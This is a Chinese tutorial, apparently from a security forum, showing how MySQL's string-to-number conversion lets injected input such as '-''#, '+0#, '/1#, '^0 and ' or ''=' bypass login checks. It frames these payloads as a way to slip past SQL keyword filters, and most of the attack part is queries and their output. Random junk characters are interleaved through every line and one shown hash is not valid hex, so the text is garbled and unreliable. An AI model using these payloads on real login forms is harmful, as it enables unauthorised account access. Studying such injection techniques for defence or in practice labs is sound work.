我们先来看这样一个场景。8 J0 e* T& q; u% v3 r6 t
有以下表结构: ; ~' [* H2 R* v# s/ V0 X
# C0 O) v- Y! n% Y/ S6 g
mysql> desc admin;
6 ]/ _3 a; C# w6 x; d9 [8 i6 A+----------+--------------+------+-----+---------+----------------+6 F; I3 N/ ~: e9 t! E: `
| Field | Type | Null | Key | Default | Extra |
: G& }7 p s8 D0 D+----------+--------------+------+-----+---------+----------------+
5 t* X5 l1 f3 o- {" I| id | mediumint(9) | NO | PRI | NULL | auto_increment |
2 z& p' I( a+ p- ~" F, j| name | char(32) | NO | UNI | NULL | |
8 A: T+ \7 r4 R5 [ O1 |6 Z v| password | char(32) | NO | UNI | NULL | |& ^" Q4 c0 W' y" k
+----------+--------------+------+-----+---------+----------------+
5 o5 \% `9 M- H* l, A( _( P# ~& e; z3 rows in set (0.00 sec). C+ L+ C8 ?$ J% b1 A% z
执行select * from admin;,成功返回所有记录内容。
0 H# x2 L& k# f, S2 b. D+ V' v N q' T7 S. }6 H Q. y4 L
& R# Y. A: J2 O4 J6 d+----+--------+----------------------------------+
% }7 n& T- v- {4 q8 Z# k. V. b* v/ z) E| id | name | password |8 N3 ~! U: S8 Z' \* s' K- X, Z6 f
+----+--------+----------------------------------+8 a3 A7 H8 x6 F- b+ T1 Y/ f: x& ~& M
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
5 _, ^' ]$ I9 Q9 b| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- V; w2 J$ C/ x# W| 4 | n00b | ff80e8508d39047460921792273533a4 |) M& Q3 f5 j3 _2 @
+----+--------+----------------------------------+
* m G' z) w: J& A4 F3 rows in set (0.00 sec)* y! p0 u9 U j6 |
执行select * from admin where name=”;,没有匹配到任何记录。 + E3 a4 \( u9 l( K( J
o {: C; f6 c, g+ U5 Q8 U
mysql> select * from admin where name = '';! T2 }8 o9 s' g& F, i" E% n
Empty set (0.00 sec)8 L1 p3 D' }' D' P& d: f
那么我们来执行select * from admin where name = ”-”;* a, j# I' G8 `
3 O1 d* c6 e! Y9 C8 v) p% V
$ R8 E$ b" e& ?& o+----+--------+----------------------------------+
2 t! J& _6 O9 k; p| id | name | password |
. f# O7 P9 l' f% e7 F, B+----+--------+----------------------------------+
. G: F, I2 v# Y' b, b| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
) `! U8 T$ C* D: A# h( z| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
1 J" B4 {+ }+ E3 q| 4 | n00b | ff80e8508d39047460921792273533a4 |
8 y7 M, B) O( q5 p+----+--------+----------------------------------+- ]7 ^, R# I* z" z2 t* j
3 rows in set, 3 warnings (0.00 sec)
6 w7 g0 i6 f" K8 S5 c可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: , w: Z6 {) {! q2 z; u; R
) q( G& G2 b; v& M3 z1 s! D' L
mysql> show warnings;
/ q+ Q6 U3 V) g& m7 t% h# _+---------+------+------------------------------------------
# y; W0 \% o8 ?* x- h/ e| Level | Code | Message
2 Z" J2 i, E4 s# w/ M+---------+------+------------------------------------------. u- I# A3 R7 X6 S* L. c7 e& z
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
$ f ~. X0 e* z2 n* g, S( \1 r| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
+ }5 D# X% Y) R! Z" d' @2 z8 q1 g* B| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
# r( m$ g3 ]3 T- O: H+---------+------+------------------------------------------
- w5 |7 T' W |3 rows in set (0.00 sec)
, |, p1 V) t$ e5 O/ y提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
, Q; O" v. W2 ]- E
. T: Y: U; p) {: [$ P* Z Vmysql> select ''-'';
& G% ] F/ ^* q! N5 u, j+-------+
. o8 ?% E3 Q9 m/ S| ''-'' |7 s) x$ v8 h8 Z4 E6 J
+-------+
. W9 _ u4 w0 ^( V3 t6 Z| 0 |# S' V1 b9 O' N6 Q
+-------+' S8 J+ N' t# @; ]" u
1 row in set (0.00 sec)
; s; L1 c- }4 s/ c' V0 A返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
_+ {) S) @0 c% K% X. z
" p& r! P- x( h+ {- e3 S" S) amysql> select CAST((select name from admin limit 1,1) as DECIMAL);
6 N( k& E2 i9 @0 S1 m' z+-----------------------------------------------------+7 U: T8 l* J8 e
| CAST((select name from admin limit 1,1) as DECIMAL) | R* z0 m- `# t- M
+-----------------------------------------------------+
, H `- w: |2 l1 q| 0 |
; G! H- X7 K8 k: n+-----------------------------------------------------+3 F0 O, J5 D( w2 C: T& J7 \" ^: e
1 row in set, 1 warning (0.00 sec)6 o4 K6 w9 E0 I: d( ?3 a
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
+ w" F. Y$ i4 \% v. b" G$ l6 j+ k5 b6 Y/ @% U/ |: c
SQL注入场景: http://www.sqlzoo.net/hack/
3 R' C( Z7 `/ x/ q# P# j: c2 z- l, u4 q" k4 O8 Y6 f2 Z# R4 k
6 G% w$ T6 O# G) E
( Z K4 y z8 i
2 L1 @& P$ R* Z( m如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
U" x) B/ {% Y$ B2 w
. d4 T/ @! I0 Z/ M' ]7 K那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 0 ? |0 K5 y7 k! V0 R6 v3 }7 w
) W; B$ j( ^. V
& S/ Z2 r' @! V# k$ x# C
4 f' B1 j2 ]! \. f3 S' X1 j1 J! D+ Z2 X) }
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 " J: o+ H! i5 s% l0 p7 ~
) S; l/ r6 B! j, v
" M7 ?( S% d1 z7 X( f" P+ E% X" V% h2 |7 K. V
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可) p6 S1 c# A, h/ w5 e1 A& C3 w& U
; |3 ^ X* P$ d: J/ S
+ T+ K q% L' tmysql> select ''/1;, a3 Z6 o1 Z' `: }
+------+
7 n: G& h, x5 M| ''/1 |
. r3 L, X7 O7 T0 c+------+7 l b3 h: B2 q* `" R; u
| 0 |
8 d2 B2 V7 W) N" i+------+' w; z1 r, ?3 _; b- |0 T# J2 d
1 row in set (0.00 sec)
& W U# R3 b/ J" U! ?( S类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 7 w2 E/ F, U* d' p* [$ |, q
* }! f% v: L( B6 E0 w利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
0 l5 }8 P6 y( P& r F9 P4 x |
|